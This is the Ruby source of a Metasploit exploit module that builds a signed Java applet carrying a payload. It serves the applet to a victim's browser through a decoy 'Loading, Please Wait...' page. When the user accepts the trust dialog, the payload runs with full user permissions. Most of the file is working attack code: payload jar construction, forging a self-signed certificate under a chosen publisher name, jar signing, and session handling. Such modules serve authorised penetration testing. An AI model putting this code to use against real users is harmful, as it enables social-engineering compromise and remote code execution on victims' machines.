metasploit-gs/modules/exploits/multi/browser/java_signed_applet.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Java Signed Applet Social Engineering Code Execution',
      'Description'   => %q{
          This exploit dynamically creates a .jar file via the
        Msf::Exploit::Java mixin, then signs the it.  The resulting
        signed applet is presented to the victim via a web page with
        an applet tag.  The victim's JVM will pop a dialog asking if
        they trust the signed applet.

        On older versions the dialog will display the value of CERTCN
        in the "Publisher" line.  Newer JVMs display "UNKNOWN" when the
        signature is not trusted (i.e., it's not signed by a trusted
        CA).  The SigningCert option allows you to provide a trusted
        code signing cert, the values in which will override CERTCN.
        If SigningCert is not given, a randomly generated self-signed
        cert will be used.

        Either way, once the user clicks "run", the applet executes
        with full user permissions.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'natron' ],
      'References'    =>
        [
          [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
        ],
      'Platform'      => %w{ java linux osx solaris win },
      'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ]
        ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => '1997-02-19'
    ))

    register_options( [
      OptString.new('CERTCN', [ true,
        "The CN= value for the certificate. Cannot contain ',' or '/'",
        "SiteLoader"
        ]),
      OptString.new('APPLETNAME', [ true,
        "The main applet's class name.",
        "SiteLoader"
        ]),
      OptPath.new('SigningCert', [ false,
        "Path to a signing certificate in PEM or PKCS12 (.pfx) format"
        ]),
      OptPath.new('SigningKey', [ false,
        "Path to a signing key in PEM format"
        ]),
      OptString.new('SigningKeyPass', [ false,
        "Password for signing key (required if SigningCert is a .pfx)"
        ]),
    ])
  end


  def setup
    load_cert
    load_applet_class
    super
  end


  def on_request_uri( cli, request )
    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect( cli, get_resource() + '/', '')
        return
      end

      print_status( "Handling request" )

      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
      return
    end

    p = regenerate_payload(cli)
    if not p
      print_error("Failed to generate the payload.")
      # Send them a 404 so the browser doesn't hang waiting for data
      # that will never come.
      send_not_found(cli)
      return
    end

    # If we haven't returned yet, then this is a request for our applet
    # jar, build one for this victim.
    jar = p.encoded_jar(:random => true)

    jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)

    jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")

    jar.sign(@key, @cert, @ca_certs)
    #File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }

    print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
    send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )

    handler( cli )

  end


  def load_applet_class
    data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
    if datastore["APPLETNAME"]
      unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
        fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
      end
      siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
      # Java strings are prefixed with a 2-byte, big endian length
      find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
      idx = siteloader.index(find_me)
      len = [datastore["APPLETNAME"].length].pack("n")
      # Now replace it with the new class name
      siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]
    else
      # Don't need to replace anything, just read it in
      siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
    end
    @applet_class = siteloader
  end


  def load_cert
    if datastore["SigningCert"]
      cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }
      begin
        pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
        @cert = pfx.certificate
        @key  = pfx.key
        @ca_certs = pfx.ca_certs

      rescue OpenSSL::PKCS12::PKCS12Error
        # it wasn't pkcs12, try it as concatenated PEMs
        certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
        @cert = OpenSSL::X509::Certificate.new(certs.shift)
        @ca_certs = nil
        while certs.length > 0
          @ca_certs ||= []
          @ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
        end

        if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
          key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }
        else
          key_str = cert_str
        end

        # First try it as RSA and fallback to DSA if that doesn't work
        begin
          @key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
        rescue OpenSSL::PKey::RSAError => e
          @key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
        end
      end
    else
      # Name.parse uses a simple regex that isn't smart enough to allow
      # slashes or commas in values, just remove them.
      certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
      x509_name = OpenSSL::X509::Name.parse(
        "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
        )

      @key  = OpenSSL::PKey::DSA.new(1024)
      @cert = OpenSSL::X509::Certificate.new
      @cert.version = 2
      @cert.serial = 1
      @cert.subject = x509_name
      @cert.issuer = x509_name
      @cert.public_key = @key.public_key
      @cert.not_before = Time.now
      # FIXME: this will break in the year 2037 on 32-bit systems
      @cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year
    end
  end


  def generate_html
    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
    html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
    html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
    vprint_line(html)
    if @use_static
      html << %Q|  code="SiteLoader" width="1" height="1">\n|
    else
      html << %Q|  code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
    end
    html << %Q|</applet>\n</body></html>|
    return html
  end


  # Currently unused until we ship a java compiler of some sort
  def applet_code
    applet = <<-EOS
import java.applet.*;
import metasploit.*;

public class #{datastore["APPLETNAME"]} extends Applet {
  public void init() {
    try {
      Payload.main(null);
    } catch (Exception ex) {
      //ex.printStackTrace();
    }
  }
}
EOS
  end
end

=begin

The following stores a bunch of intermediate files on the path to creating the signature.  The
ImportKey class used for testing was obtained from:
http://www.agentbob.info/agentbob/79-AB.html

  system("rm -rf signed_jar/*")
  File.open("signed_jar/cert.pem", "wb")     { |f| f.write(@cert.to_s + @key.to_s) }
  File.open("signed_jar/key.pem",  "wb")     { |f| f.write(@key.to_s  + @key.public_key.to_s) }
  File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }

  File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
  system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")
  system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")
  system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")
  system("mv ~/keystore.ImportKey ~/.keystore")
  system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")

  jar.sign(@key, @cert)
  File.open("signed_jar/signed.jar", "wb")   { |f| f.write jar.to_s }

=end